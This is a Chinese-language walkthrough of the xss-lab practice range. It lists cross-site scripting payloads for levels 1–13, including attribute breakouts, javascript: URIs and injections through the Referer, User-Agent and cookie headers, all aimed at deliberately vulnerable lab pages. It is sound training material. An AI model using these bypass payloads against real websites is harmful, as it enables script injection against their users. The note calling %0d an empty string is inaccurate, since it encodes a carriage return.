简介

xsslab是最经典的xss练习靶场。
GitHub地址--https://github.com/rebo-rn/xss-lab
本人使用在线靶场--http://xss.xiejiahe.com/
换个在线靶场--http://test.ctf8.com/

详解

  1. level-1

http://xss-ctf.xiejiahe.com/level1?name=%3Cscript%3Ealert(1)%3C/script%3E

  1. level-2

"onclick="alert(1)

  1. level-3

' onclick=alert(/xss/)//

  1. level-4

" onclick = "alert(1)""

  1. level-5

"><iframe src=javascript:alert(/xss/)>
"><a href=" javascript:alert(/xss/)"
注意这个小线条才是a标签
16817193811476.png

  1. level-6

"Onclick="alert(1)

  1. level-7

"Onclick="alert(1)

  1. level-8

javascript:alert(1)

  1. level-9

javascript:%0dhttp://%0dalert(/xss/)
%0d是空字符串的URL编码

  1. leve-10

查看源码发现需要两个GET参数,一个是keyword,一个是t_sort。
keyword=test&t_sort="type="text" onclick="alert(/xss/)

  1. level-11

需要先代码审计一下,payload位置在请求头Referer参数
使用burp工具拦截修改请求头后再发送请求
" onmouseover=alert(/xss/) type="text"
2023-04-17214849.png

  1. level-12

和十一payload一样,只是位置是请求头User-Agent参数值

  1. level-13

payload的位置在cookie中,burp拦截添加cookie
user=" type="text" onmouseover=alert(/xss/) type="text"